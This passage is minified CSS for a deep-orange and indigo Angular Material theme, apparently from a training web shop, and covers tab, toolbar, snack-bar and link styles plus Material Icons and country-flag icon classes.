.mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#7986cb4d}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#1a237e}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.deeporange-indigo-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.deeporange-indigo-theme .mat-toolbar{background:whitesmoke;color:#000000de}.deeporange-indigo-theme .mat-toolbar.mat-primary{background:#e64a19;color:#fff}.deeporange-indigo-theme .mat-toolbar.mat-accent{background:#1a237e;color:#fff}.deeporange-indigo-theme .mat-toolbar.mat-warn{background:#f44336;color:#fff}.deeporange-indigo-theme .mat-toolbar .mat-form-field-underline,.deeporange-indigo-theme .mat-toolbar .mat-form-field-ripple,.deeporange-indigo-theme .mat-toolbar .mat-focused .mat-form-field-ripple{background-color:currentColor}.deeporange-indigo-theme .mat-toolbar .mat-form-field-label,.deeporange-indigo-theme .mat-toolbar .mat-focused .mat-form-field-label,.deeporange-indigo-theme .mat-toolbar .mat-select-value,.deeporange-indigo-theme .mat-toolbar .mat-select-arrow,.deeporange-indigo-theme .mat-toolbar .mat-form-field.mat-focused .mat-select-arrow{color:inherit}.deeporange-indigo-theme .mat-toolbar .mat-input-element{caret-color:currentColor}.deeporange-indigo-theme .mat-tooltip{background:rgba(97,97,97,.9)}.deeporange-indigo-theme .mat-tree{background:white}.deeporange-indigo-theme .mat-tree-node,.deeporange-indigo-theme .mat-nested-tree-node{color:#000000de}.deeporange-indigo-theme .mat-snack-bar-container{color:#ffffffb3;background:#323232;box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.deeporange-indigo-theme .mat-simple-snackbar-action{color:#1a237e}.deeporange-indigo-theme a:link,.deeporange-indigo-theme a:visited{color:#7986cb;text-decoration:none}.deeporange-indigo-theme a:hover,.deeporange-indigo-theme a:focus,.deeporange-indigo-theme a:active{text-decoration:underline}.deeporange-indigo-theme a{outline:none}.deeporange-indigo-theme .confirmation{color:#1a237e}.deeporange-indigo-theme .ribbon:before{border:5px solid #1a237e}.deeporange-indigo-theme .ribbon span{background-color:#1a237e}.deeporange-indigo-theme .error{color:#f44336}.deeporange-indigo-theme .ribbon-sold:before{border:5px solid #f44336}.deeporange-indigo-theme .ribbon-sold span{background-color:#f44336}.deeporange-indigo-theme .primary-notification{background-color:#bf360c}.deeporange-indigo-theme .accent-notification{background-color:#8c9eff}.deeporange-indigo-theme .warn-notification{background-color:#d32f2f}.deeporange-indigo-theme .img-thumbnail{background-color:#e64a190d;border:1px solid #e64a19;border-radius:3px;padding:3px}.deeporange-indigo-theme .empty-star{stop-color:#e64a19}.deeporange-indigo-theme .filled-star{stop-color:#1a237e}.deeporange-indigo-theme .star-border{stroke:#1a237e}.deeporange-indigo-theme .mat-snack-bar-container{background-color:#fff!important;color:#000000de!important}.deeporange-indigo-theme .mat-snack-bar-container.errorBar{color:#f44336!important}.deeporange-indigo-theme .mat-snack-bar-container.confirmBar{color:#1a237e!important}.deeporange-indigo-theme .google-button{background-color:#8c9eff!important}.deeporange-indigo-theme .deluxe-membership{background:linear-gradient(90deg,#e64a19 0%,white 100%)}.deeporange-indigo-theme .overlay{background:rgba(191,54,12,.7)}.close-dialog{float:right;margin-top:15px;width:-moz-fit-content;width:fit-content}[hidden]{display:none!important}.ng-animating .mat-expansion-panel .mat-expansion-panel-header{min-height:48px}.ng-animating .mat-expansion-panel.mat-expanded .mat-expansion-panel-header{min-height:64px}.ng-animating .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-content{height:0;overflow:hidden}#hacking-instructor code{background-color:#0000004d;border-radius:1px;font-family:monospace;padding:0 4px}.CodeMirror{border-radius:16px;height:600px!important}@font-face{font-family:Material Icons;font-style:normal;font-weight:400;src:url(MaterialIcons-Regular.eot);src:local("Material Icons"),local("MaterialIcons-Regular"),url(MaterialIcons-Regular.woff2) format("woff2"),url(MaterialIcons-Regular.woff) format("woff"),url(MaterialIcons-Regular.ttf) format("truetype")}.material-icons{font-family:Material Icons;font-weight:400;font-style:normal;font-size:24px;display:inline-block;line-height:1;text-transform:none;letter-spacing:normal;word-wrap:normal;white-space:nowrap;direction:ltr;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale;font-feature-settings:"liga"}.fib,.fi{background-size:contain;background-position:50%;background-repeat:no-repeat}.fi{position:relative;display:inline-block;width:1.333333em;line-height:1em}.fi:before{content:"\\a0"}.fi.fis{width:1em}.fi-xx{background-image:url(xx.svg)}.fi-xx.fis{background-image:url(_-flags-1x1-xx.svg)}.fi-ad{background-image:url(ad.svg)}.fi-ad.fis{background-image:url(_-flags-1x1-ad.svg)}.fi-ae{background-image:url(ae.svg)}.fi-ae.fis{background-image:url(_-flags-1x1-ae.svg)}.fi-af{background-image:url(af.svg)}.fi-af.fis{background-image:url(_-flags-1x1-af.svg)}.fi-ag{background-image:url(ag.svg)}.fi-ag.fis{background-image:url(_-flags-1x1-ag.svg)}.fi-ai{background-image:url(ai.svg)}.fi-ai.fis{background-image:url(_-flags-1x1-ai.svg)}.fi-al{background-image:url(al.svg)}.fi-al.fis{background-image:url(_-flags-1x1-al.svg)}.fi-am{background-image:url(am.svg)}.fi-am.fis{background-image:url(_-flags-1x1-am.svg)}.fi-ao{background-image:url(ao.svg)}.fi-ao.fis{background-image:url(_-flags-1x1-ao.svg)}.fi-aq{background-image:url(aq.svg)}.fi-aq.fis{background-image:url(_-flags-1x1-aq.svg)}.fi-ar{background-image:url(ar.svg)}.fi-ar.fis{background-image:url(_-flags-1x1-ar.svg)}.fi-as{background-image:url(as.svg)}.fi-as.fis{background-image:url(_-flags-1x1-as.svg)}.fi-at{background-image:url(at.svg)}.fi-at.fis{background-image:url(_-flags-1x1-at.svg)}.fi-au{background-image:url(au.svg)}.fi-au.fis{background-image:url(_-flags-1x1-au.svg)}.fi-aw{background-image:url(aw.svg)}.fi-aw.fis{background-image:url(_-flags-1x1-aw.svg)}.fi-ax{background-image:url(ax.svg)}.fi-ax.fis{background-image:url(_-flags-1x1-ax.svg)}.fi-az{background-image:url(az.svg)}.fi-az.fis{background-image:url(_-flags-1x1-az.svg)}.fi-ba{background-image:url(ba.svg)}.fi-ba.fis{background-image:url(_-flags-1x1-ba.svg)}.fi-bb{background-image:url(bb.svg)}.fi-bb.fis{background-image:url(_-flags-1x1-bb.svg)}.fi-bd{background-image:url(bd.svg)}.fi-bd.fis{background-image:url(_-flags-1x1-bd.svg)}.fi-be{background-image:url(be.svg)}.fi-be.fis{background-image:url(_-flags-1x1-be.svg)}.fi-bf{background-image:url(bf.svg)}.fi-bf.fis{background-image:url(_-flags-1x1-bf.svg)}.fi-bg{background-image:url(bg.svg)}.fi-bg.fis{background-image:url(_-flags-1x1-bg.svg)}.fi-bh{background-image:url(bh.svg)}.fi-bh.fis{background-image:url(_-flags-1x1-bh.svg)}.fi-bi{background-image:url(bi.svg)}.fi-bi.fis{background-image:url(_-flags-1x1-bi.svg)}.fi-bj{background-image:url(bj.svg)}.fi-bj.fis{background-image:url(_-flags-1x1-bj.svg)}.fi-bl{background-image:url(bl.svg)}.fi-bl.fis{background-image:url(_-flags-1x1-bl.svg)}.fi-bm{background-image:url(bm.svg)}.fi-bm.fis{background-image:url(_-flags-1x1-bm.svg)}.fi-bn{background-image:url(bn.svg)}.fi-bn.fis{background-image:url(_-flags-1x1-bn.svg)}.fi-bo{background-image:url(bo.svg)}.fi-bo.fis{background-image:url(_-flags-1x1-bo.svg)}.fi-bq{background-image:url(bq.svg)}.fi-bq.fis{background-image:url(_-flags-1x1-bq.svg)}.fi-br{background-image:url(br.svg)}.fi-br.fis{background-image:url(_-flags-1x1-br.svg)}.fi-bs{background-image:url(bs.svg)}.fi-bs.fis{background-image:url(_-flags-1x1-bs.svg)}.fi-bt{background-image:url(bt.svg)}.fi-bt.fis{background-image:url(_-flags-1x1-bt.svg)}.fi-bv{background-image:url(bv.svg)}.fi-bv.fis{background-image:url(_-flags-1x1-bv.svg)}.fi-bw{background-image:url(bw.svg)}.fi-bw.fis{background-image:url(_-flags-1x1-bw.svg)}.fi-by{background-image:url(by.svg)}.fi-by.fis{background-image:url(_-flags-1x1-by.svg)}.fi-bz{background-image:url(bz.svg)}.fi-bz.fis{background-image:url(_-flags-1x1-bz.svg)}.fi-ca{background-image:url(ca.svg)}.fi-ca.fis{background-image:url(_-flags-1x1-ca.svg)}.fi-cc{background-image:url(cc.svg)}.fi-cc.fis{background-image:url(_-flags-1x1-cc.svg)}.fi-cd{background-image:url(cd.svg)}.fi-cd.fis{background-image:url(_-flags-1x1-cd.svg)}.fi-cf{background-image:url(cf.svg)}.fi-cf.fis{background-image:url(_-flags-1x1-cf.svg)}.fi-cg{background-image:url(cg.svg)}.fi-cg.fis{background-image:url(_-flags-1x1-cg.svg)}.fi-ch{background-image:url(ch.svg)}.fi-ch.fis{background-image:url(_-flags-1x1-ch.svg)}.fi-ci{background-image:url(ci.svg)}.fi-ci.fis{background-image:url(_-flags-1x1-ci.svg)}.fi-ck{background-image:url(ck.svg)}.fi-ck.fis{background-image:url(_-flags-1x1-ck.svg)}.fi-cl{background-image:url(cl.svg)}.fi-cl.fis{background-image:url(_-flags-1x1-cl.svg)}.fi-cm{background-image:url(cm.svg)}.fi-cm.fis{background-image:url(_-flags-1x1-cm.svg)}.fi-cn{background-image:url(cn.svg)}.fi-cn.fis{background-image:url(_-flags-1x1-cn.svg)}.fi-co{background-image:url(co.svg)}.fi-co.fis{background-image:url(_-flags-1x1-co.svg)}.fi-cr{background-image:url(cr.svg)}.fi-cr.fis{background-image:url(_-flags-1x1-cr.svg)}.fi-cu{background-image:url(cu.svg)}.fi-cu.fis{background-image:url(_-flags-1x1-cu.svg)}.fi-cv{background-image:url(cv.svg)}.fi-cv.fis{background-image:url(_-flags-1x1-cv.svg)}.fi-cw{background-image:url(cw.svg)}.fi-cw.fis{background-image:url(_-flags-1x1-cw.svg)}.fi-cx{background-image:url(cx.svg)}.fi-cx.fis{background-image:url(_-flags-1x1-cx.svg)}.fi-cy{background-image:url(cy.svg)}.fi-cy.fis{background-image:url(_-flags-1x1-cy.svg)}.fi-cz{background-image:url(cz.svg)}.fi-cz.fis{background-image:url(_-flags-1x1-cz.svg)}.fi-de{background-image:url(de.svg)}.fi-de.fis{background-image:url(_-flags-1x1-de.svg)}.fi-dj{background-image:url(dj.svg)}.fi-dj.fis{background-image:url(_-flags-1x1-dj.svg)}.fi-dk{background-image:url(dk.svg)}.fi-dk.fis{background-image:url(_-flags-1x1-dk.svg)}.fi-dm{background-image:url(dm.svg)}.fi-dm.fis{background-image:url(_-flags-1x1-dm.svg)}.fi-do{background-image:url(do.svg)}.fi-do.fis{background-image:url(_-flags-1x1-do.svg)}.fi-dz{background-image:url(dz.svg)}.fi-dz.fis{background-image:url(_-flags-1x1-dz.svg)}.fi-ec{background-image:url(ec.svg)}.fi-ec.fis{background-image:url(_-flags-1x1-ec.svg)}.fi-ee{background-image:url(ee.svg)}.fi-ee.fis{background-image:url(_-flags-1x1-ee.svg)}.fi-eg{background-image:url(eg.svg)}.fi-eg.fis{background-image:url(_-flags-1x1-eg.svg)}.fi-eh{background-image:url(eh.svg)}.fi-eh.fis{background-image:url(_-flags-1x1-eh.svg)}.fi-er{background-image:url(er.svg)}.fi-er.fis{background-image:url(_-flags-1x1-er.svg)}.fi-es{background-image:url(es.svg)}.fi-es.fis{background-image:url(_-flags-1x1-es.svg)}.fi-et{background-image:url(et.svg)}.fi-et.fis{background-image:url(_-flags-1x1-et.svg)}.fi-fi{background-image:url(fi.svg)}.fi-fi.fis{background-image:url(_-flags-1x1-fi.svg)}.fi-fj{background-image:url(fj.svg)}.fi-fj.fis{background-image:url(_-flags-1x1-fj.svg)}.fi-fk{background-image:url(fk.svg)}.fi-fk.fis{background-image:url(_-flags-1x1-fk.svg)}.fi-fm{background-image:url(fm.svg)}.fi-fm.fis{background-image:url(_-flags-1x1-fm.svg)}.fi-fo{background-image:url(fo.svg)}.fi-fo.fis{background-image:url(_-flags-1x1-fo.svg)}.fi-fr{background-image:url(fr.svg)}.fi-fr.fis{background-image:url(_-flags-1x1-fr.svg)}.fi-ga{background-image:url(ga.svg)}.fi-ga.fis{background-image:url(_-flags-1x1-ga.svg)}.fi-gb{background-image:url(gb.svg)}.fi-gb.fis{background-image:url(_-flags-1x1-gb.svg)}.fi-gd{background-image:url(gd.svg)}.fi-gd.fis{background-image:url(_-flags-1x1-gd.svg)}.fi-ge{background-image:url(ge.svg)}.fi-ge.fis{background-image:url(_-flags-1x1-ge.svg)}.fi-gf{background-image:url(gf.svg)}.fi-gf.fis{background-image:url(_-flags-1x1-gf.svg)}.fi-gg{background-image:url(gg.svg)}.fi-gg.fis{background-image:url(_-flags-1x1-gg.svg)}.fi-gh{background-image:url(gh.svg)}.fi-gh.fis{background-image:url(_-flags-1x1-gh.svg)}.fi-gi{background-image:url(gi.svg)}.fi-gi.fis{background-image:url(_-flags-1x1-gi.svg)}.fi-gl{background-image:url(gl.svg)}.fi-gl.fis{background-image:url(_-flags-1x1-gl.svg)}.fi-gm{background-image:url(gm.svg)}.fi-gm.fis{background-image:url(_-flags-1x1-gm.svg)}.fi-gn{background-image:url(gn.svg)}.fi-gn.fis{background-image:url(_-flags-1x1-gn.svg)}.fi-gp{background-image:url(gp.svg)}.fi-gp.fis{background-image:url(_-flags-1x1-gp.svg)}.fi-gq{background-image:url(gq.svg)}.fi-gq.fis{background-image:url(_-flags-1x1-gq.svg)}.fi-gr{background-image:url(gr.svg)}.fi-gr.fis{background-image:url(_-flags-1x1-gr.svg)}.fi-gs{background-image:url(gs.svg)}.fi-gs.fis{background-image:url(_-flags-1x1-gs.svg)}.fi-gt{background-image:url(gt.svg)}.fi-gt.fis{background-image:url(_-flags-1x1-gt.svg)}.fi-gu{background-image:url(gu.svg)}.fi-gu.fis{background-image:url(_-flags-1x1-gu.svg)}.fi-gw{background-image:url(gw.svg)}.fi-gw.fis{background-image:url(_-flags-1x1-gw.svg)}.fi-gy{background-image:url(gy.svg)}.fi-gy.fis{background-image:url(_-flags-1x1-gy.svg)}.fi-hk{background-image:url(hk.svg)}.fi-hk.fis{background-image:url(_-flags-1x1-hk.svg)}.fi-hm{background-image:url(hm.svg)}.fi-hm.fis{background-image:url(_-flags-1x1-hm.svg)}.fi-hn{background-image:url(hn.svg)}.fi-hn.fis{background-image:url(_-flags-1x1-hn.svg)}.fi-hr{background-image:url(hr.svg)}.fi-hr.fis{background-image:url(_-flags-1x1-hr.svg)}.fi-ht{background-image:url(ht.svg)}.fi-ht.fis{background-image:url(_-flags-1x1-ht.svg)}.fi-hu{background-image:url(hu.svg)}.fi-hu.fis{background-image:url(_-flags-1x1-hu.svg)}.fi-id{background-image:url(id.svg)}.fi-id.fis{background-image:url(_-flags-1x1-id.svg)}.fi-ie{background-image:url(ie.svg)}.fi-ie.fis{background-image:url(_-flags-1x1-ie.svg)}.fi-il{background-image:url(il.svg)}.fi-il.fis{background-image:url(_-flags-1x1-il.svg)}.fi-im{background-image:url(im.svg)}.fi-im.fis{background-image:url(_-flags-1x1-im.svg)}.fi-in{background-image:url(in.svg)}.fi-in.fis{background-image:url(_-flags-1x1-in.svg)}.fi-io{background-image:url(io.svg)}.fi-io.fis{background-image:url(_-flags-1x1-io.svg)}.fi-iq{background-image:url(iq.svg)}.fi-iq.fis{background-image:url(_-flags-1x1-iq.svg)}.fi-ir{background-image:url(ir.svg)}.fi-ir.fis{background-image:url(_-flags-1x1-ir.svg)}.fi-is{background-image:url(is.svg)}.fi-is.fis{background-image:url(_-flags-1x1-is.svg)}.fi-it{background-image:url(it.svg)}.fi-it.fis{background-image:url(_-flags-1x1-it.svg)}.fi-je{background-image:url(je.svg)}.fi-je.fis{background-image:url(_-flags-1x1-je.svg)}.fi-jm{background-image:url(jm.svg)}.fi-jm.fis{background-image:url(_-flags-1x1-jm.svg)}.fi-jo{background-image:url(jo.svg)}.fi-jo.fis{background-image:url(_-flags-1x1-jo.svg)}.fi-jp{background-image:url(jp.svg)}.fi-jp.fis{background-image:url(_-flags-1x1-jp.svg)}.fi-ke{background-image:url(ke.svg)}.fi-ke.fis{background-image:url(_-flags-1x1-ke.svg)}.fi-kg{background-image:url(kg.svg)}.fi-kg.fis{background-image:url(_-flags-1x1-kg.svg)}.fi-kh{background-image:url(kh.svg)}.fi-kh.fis{background-image:url(_-flags-1x1-kh.svg)}.fi-ki{background-image:url(ki.svg)}.fi-ki.fis{background-image:url(_-flags-1x1-ki.svg)}.fi-km{background-image:url(km.svg)}.fi-km.fis{background-image:url(_-flags-1x1-km.svg)}.fi-kn{background-image:url(kn.svg)}.fi-kn.fis{background-image:url(_-flags-1x1-kn.svg)}.fi-kp{background-image:url(kp.svg)}.fi-kp.fis{background-image:url(_-flags-1x1-kp.svg)}.fi-kr{background-image:url(kr.svg)}.fi-kr.fis{background-image:url(_-flags-1x1-kr.svg)}.fi-kw{background-image:url(kw.svg)}.fi-kw.fis{background-image:url(_-flags-1x1-kw.svg)}.fi-ky{background-image:url(ky.svg)}.fi-ky.fis{background-image:url(_-flags-1x1-ky.svg)}.fi-kz{background-image:url(kz.svg)}.fi-kz.fis{background-image:url(_-flags-1x1-kz.svg)}.fi-la{background-image:url(la.svg)}.fi-la.fis{background-image:url(_-flags-1x1-la.svg)}.fi-lb{background-image:url(lb.svg)}.fi-lb.fis{background-image:url(_-flags-1x1-lb.svg)}.fi-lc{background-image:url(lc.svg)}.fi-lc.fis{background-image:url(_-flags-1x1-lc.svg)}.fi-li{background-image:url(li.svg)}.fi-li.fis{background-image:url(_-flags-1x1-li.svg)}.fi-lk{background-image:url(lk.svg)}.fi-lk.fis{background-image:url(_-flags-1x1-lk.svg)}.fi-lr{background-image:url(lr.svg)}.fi-lr.fis{background-image:url(_-flags-1x1-lr.svg)}.fi-ls{background-image:url(ls.svg)}.fi-ls.fis{background-image:url(_-flags-1x1-ls.svg)}.fi-lt{background-image:url(lt.svg)}.fi-lt.fis{background-image:url(_-flags-1x1-lt.svg)}.fi-lu{background-image:url(lu.svg)}.fi-lu.fis{background-image:url(_-flags-1x1-lu.svg)}.fi-lv{background-image:url(lv.svg)}.fi-lv.fis{background-image:url(_-flags-1x1-lv.svg)}.fi-ly{background-image:url(ly.svg)}.fi-ly.fis{background-image:url(_-flags-1x1-ly.svg)}.fi-ma{background-image:url(ma.svg)}.fi-ma.fis{background-image:url(_-flags-1x1-ma.svg)}.fi-mc{background-image:url(mc.svg)}.fi-mc.fis{background-image:url(_-flags-1x1-mc.svg)}.fi-md{background-image:url(md.svg)}.fi-md.fis